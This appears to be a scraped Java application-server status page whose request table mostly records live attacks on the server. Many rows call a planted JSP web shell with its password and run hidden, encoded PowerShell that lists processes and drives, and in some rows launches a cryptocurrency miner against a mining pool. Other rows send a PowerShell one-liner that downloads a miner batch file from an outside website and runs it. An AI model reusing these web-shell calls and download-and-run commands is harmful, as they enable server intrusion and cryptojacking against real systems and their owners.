JVM

Free memory: 98.84 MB Total memory: 176.62 MB Max memory: 493.06 MB

ajp-0.0.0.0-8009

Max threads: 40 Current thread count: 0 Current thread busy: 0
Max processing time: 0 ms Processing time: 0.0 s Request count: 0 Error count: 0 Bytes received: 0.00 MB Bytes sent: 0.00 MB

StageTimeB SentB RecvClientVHostRequest

P: Parse and prepare request S: Service F: Finishing R: Ready K: Keepalive

http-0.0.0.0-8080

Max threads: 250 Current thread count: 81 Current thread busy: 20
Max processing time: 3175743748 ms Processing time: 5.685978E7 s Request count: 335681 Error count: 12711 Bytes received: 16.70 MB Bytes sent: 5880.82 MB

StageTimeB SentB RecvClientVHostRequest
R??????
S154735856 ms0 KB0 KB221.192.3.23281.45.140.46GET /mark/typo.jsp?s=i&e=1&action=exec&i=powershell.exe%20-NonI%20-W%20Hidden%20-NoP%20-Exec%20Bypass%20-Enc%20dABhAHMAawBsAGkAcwB0AA==&pwd=asicanv8aw&l=-1 HTTP/1.1
R??????
S3277009832 ms0 KB0 KB60.1.206.4381.45.140.46GET /mark/typo.jsp?s=e&e=1&action=exec&i=powershell.exe%20-NonI%20-W%20Hidden%20-NoP%20-Exec%20Bypass%20-Enc%20dABhAHMAawBsAGkAcwB0AA==&pwd=asicanv8aw&l=-1 HTTP/1.1
R??????
R??????
R??????
S154375254 ms0 KB0 KB221.192.3.23281.45.140.46GET /mark/typo.jsp?s=e&e=1&action=exec&i=powershell.exe%20-NonI%20-W%20Hidden%20-NoP%20-Exec%20Bypass%20-Enc%20ZABpAHIAIABkADoAXAA=&pwd=asicanv8aw&l=-1 HTTP/1.1
R??????
R??????
R??????
S3277971810 ms0 KB0 KB60.1.206.4381.45.140.46GET /mark/typo.jsp?s=e&e=1&action=exec&i=powershell.exe%20-NonI%20-W%20Hidden%20-NoP%20-Exec%20Bypass%20-Enc%20dABhAHMAawBsAGkAcwB0AA==&pwd=asicanv8aw&l=-1 HTTP/1.1
R??????
R??????
R??????
R??????
R??????
R??????
R??????
R??????
S3 ms0 KB0 KB3.236.68.118catalogo.museolazarogaldiano.esGET /status HTTP/1.1
S2246646739 ms0 KB0 KB221.192.178.5881.45.140.46GET /mark/typo.jsp?s=e&e=1&action=exec&i=powershell.exe%20-NonI%20-W%20Hidden%20-NoP%20-Exec%20Bypass%20-Enc%20dABhAHMAawBsAGkAcwB0AA==&pwd=asicanv8aw&l=-1 HTTP/1.1
R??????
S154495491 ms0 KB0 KB221.192.3.23281.45.140.46GET /mark/typo.jsp?s=i&e=1&action=exec&i=powershell.exe%20-NonI%20-W%20Hidden%20-NoP%20-Exec%20Bypass%20-Enc%20ZABpAHIAIABkADoAXAA=&pwd=asicanv8aw&l=-1 HTTP/1.1
R??????
R??????
R??????
S153894467 ms0 KB0 KB221.192.3.23281.45.140.46GET /mark/typo.jsp?s=e&e=1&action=exec&i=powershell.exe%20-NonI%20-W%20Hidden%20-NoP%20-Exec%20Bypass%20-Enc%20ZAA6AFwAXAB4AG0AcgBpAGcALgBlAHgAZQAgAC0AbwAgAHAAbwBvAGwALgBtAGkAbgBlAHgAbQByAC4AYwBvAG0AOgA0ADQAMwAgAC0AdQAgADgAMwBEADMANwBnAFgAdgBCAHEAVwBHAGcAWABnAGYASABmAHIANQBVAG4AMQBxAGEAUQBxAFUAYQBFAGgAWgB0AGcAZgBLAFgAZwBlAEwAVwBZAFYAdwAzAEwATABkAEMATQBjAHMAdABIAFEAQQA0AHoAbQB3AGIAYwByADcAbwBqADIAdABOADIARgBmAHgAVABqAGMAcABOAHgAeQA3AFgAcgA5AFEARQBNAFMAUQAxAEYAUwB0AHEAaQAgAC0AawAgAC0AdAAgADIAIAAtAC0AdABsAHMAIAAtAC0AcgBpAGcALQBpAGQAIABqAGIAXwA5AA==&pwd=asicanv8aw&l=15 HTTP/1.1
S2247609650 ms0 KB0 KB221.192.178.5881.45.140.46GET /mark/typo.jsp?s=e&e=1&action=exec&i=powershell.exe%20-NonI%20-W%20Hidden%20-NoP%20-Exec%20Bypass%20-Enc%20dABhAHMAawBsAGkAcwB0AA==&pwd=asicanv8aw&l=-1 HTTP/1.1
R??????
S153413681 ms0 KB0 KB221.192.3.23281.45.140.46GET /mark/typo.jsp?s=e&e=1&action=exec&i=powershell.exe%20-NonI%20-W%20Hidden%20-NoP%20-Exec%20Bypass%20-Enc%20bABzACAAZAA6AFwA&pwd=asicanv8aw&l=-1 HTTP/1.1
R??????
R??????
R??????
S154615651 ms0 KB0 KB221.192.3.23281.45.140.46GET /mark/typo.jsp?s=e&e=1&action=exec&i=powershell.exe%20-NonI%20-W%20Hidden%20-NoP%20-Exec%20Bypass%20-Enc%20dABhAHMAawBsAGkAcwB0AA==&pwd=asicanv8aw&l=-1 HTTP/1.1
R??????
R??????
R??????
R??????
R??????
R??????
S154014749 ms0 KB0 KB221.192.3.23281.45.140.46GET /mark/typo.jsp?s=i&e=1&action=exec&i=powershell.exe%20-NonI%20-W%20Hidden%20-NoP%20-Exec%20Bypass%20-Enc%20ZAA6AFwAXAB4AG0AcgBpAGcALgBlAHgAZQAgAC0AbwAgAHAAbwBvAGwALgBtAGkAbgBlAHgAbQByAC4AYwBvAG0AOgA0ADQAMwAgAC0AdQAgADgAMwBEADMANwBnAFgAdgBCAHEAVwBHAGcAWABnAGYASABmAHIANQBVAG4AMQBxAGEAUQBxAFUAYQBFAGgAWgB0AGcAZgBLAFgAZwBlAEwAVwBZAFYAdwAzAEwATABkAEMATQBjAHMAdABIAFEAQQA0AHoAbQB3AGIAYwByADcAbwBqADIAdABOADIARgBmAHgAVABqAGMAcABOAHgAeQA3AFgAcgA5AFEARQBNAFMAUQAxAEYAUwB0AHEAaQAgAC0AawAgAC0AdAAgADIAIAAtAC0AdABsAHMAIAAtAC0AcgBpAGcALQBpAGQAIABqAGIAXwA5AA==&pwd=asicanv8aw&l=15 HTTP/1.1
R??????
R??????
R??????
R??????
R??????
R??????
S2259 ms0 KB0 KB185.191.171.37catalogo.museolazarogaldiano.esGET /mlgm/search/pages/ResultSearch?Museo=MLGM&MuseumsRolSearch=55&MuseumsSearch=MLGM%7C&hipertextSearch=1&listaMuseos=%5BMuseo%20L%C3%A1zaro%20Galdiano%5D&search=simple&simpleSearch=0&txtSimpleSearch=Polifemo HTTP/1.1
R??????
R??????
R??????
S154134962 ms0 KB0 KB221.192.3.23281.45.140.46GET /mark/typo.jsp?s=e&e=1&action=exec&i=powershell.exe%20-NonI%20-W%20Hidden%20-NoP%20-Exec%20Bypass%20-Enc%20bABzACAAZAA6AFwA&pwd=asicanv8aw&l=-1 HTTP/1.1
R??????
R??????
R??????
S154255168 ms0 KB0 KB221.192.3.23281.45.140.46GET /mark/typo.jsp?s=i&e=1&action=exec&i=powershell.exe%20-NonI%20-W%20Hidden%20-NoP%20-Exec%20Bypass%20-Enc%20bABzACAAZAA6AFwA&pwd=asicanv8aw&l=-1 HTTP/1.1
R??????
R??????
R??????
R??????
R??????
R??????
R??????
R??????
R??????
R??????
R??????
R??????
S153654158 ms0 KB0 KB221.192.3.23281.45.140.46GET /mark/typo.jsp?s=e&e=1&action=exec&i=powershell.exe%20-NonI%20-W%20Hidden%20-NoP%20-Exec%20Bypass%20-Enc%20dABhAHMAawBsAGkAcwB0AA==&pwd=asicanv8aw&l=-1 HTTP/1.1
S153533965 ms0 KB0 KB221.192.3.23281.45.140.46GET /mark/typo.jsp?s=i&e=1&action=exec&i=powershell.exe%20-NonI%20-W%20Hidden%20-NoP%20-Exec%20Bypass%20-Enc%20bABzACAAZAA6AFwA&pwd=asicanv8aw&l=-1 HTTP/1.1
R??????
S42087848 ms0 KB0 KB20.97.178.11481.45.140.46GET /jexinv4/jexinv4.jsp?ppp=powershell%20-Command%20%22%24wc%20%3D%20New-Object%20System.Net.WebClient%3B%20%24tempfile%20%3D%20%5BSystem.IO.Path%5D%3A%3AGetTempFileName%28%29%3B%20%24tempfile%20%2B%3D%20%27.bat%27%3B%20%24wc.DownloadFile%28%27http%3A%2F%2Flurchmath.org%2Fwordpress-temp%2Fwp-content%2Fplugins%2Fminer.bat%27%2C%20%24tempfile%29%3B%20%26%20%24tempfile%2043a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFBWBnZXPbGtYjRE7pqc2s9dCQ5R2yk1V7SZkTWeBk6JiT2q5cXLa7T%3B%20Remove-Item%20-Force%20%24tempfile%22 HTTP/1.1
R??????
R??????
R??????
R??????
R??????
R??????
S128480884 ms0 KB0 KB20.97.178.11481.45.140.46GET /jexinv4/jexinv4.jsp?ppp=powershell%20-Command%20%22%24wc%20%3D%20New-Object%20System.Net.WebClient%3B%20%24tempfile%20%3D%20%5BSystem.IO.Path%5D%3A%3AGetTempFileName%28%29%3B%20%24tempfile%20%2B%3D%20%27.bat%27%3B%20%24wc.DownloadFile%28%27http%3A%2F%2Flurchmath.org%2Fwordpress-temp%2Fwp-content%2Fplugins%2Fminer.bat%27%2C%20%24tempfile%29%3B%20%26%20%24tempfile%2043a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFBWBnZXPbGtYjRE7pqc2s9dCQ5R2yk1V7SZkTWeBk6JiT2q5cXLa7T%3B%20Remove-Item%20-Force%20%24tempfile%22 HTTP/1.1
S153774357 ms0 KB0 KB221.192.3.23281.45.140.46GET /mark/typo.jsp?s=i&e=1&action=exec&i=powershell.exe%20-NonI%20-W%20Hidden%20-NoP%20-Exec%20Bypass%20-Enc%20dABhAHMAawBsAGkAcwB0AA==&pwd=asicanv8aw&l=-1 HTTP/1.1

P: Parse and prepare request S: Service F: Finishing R: Ready K: Keepalive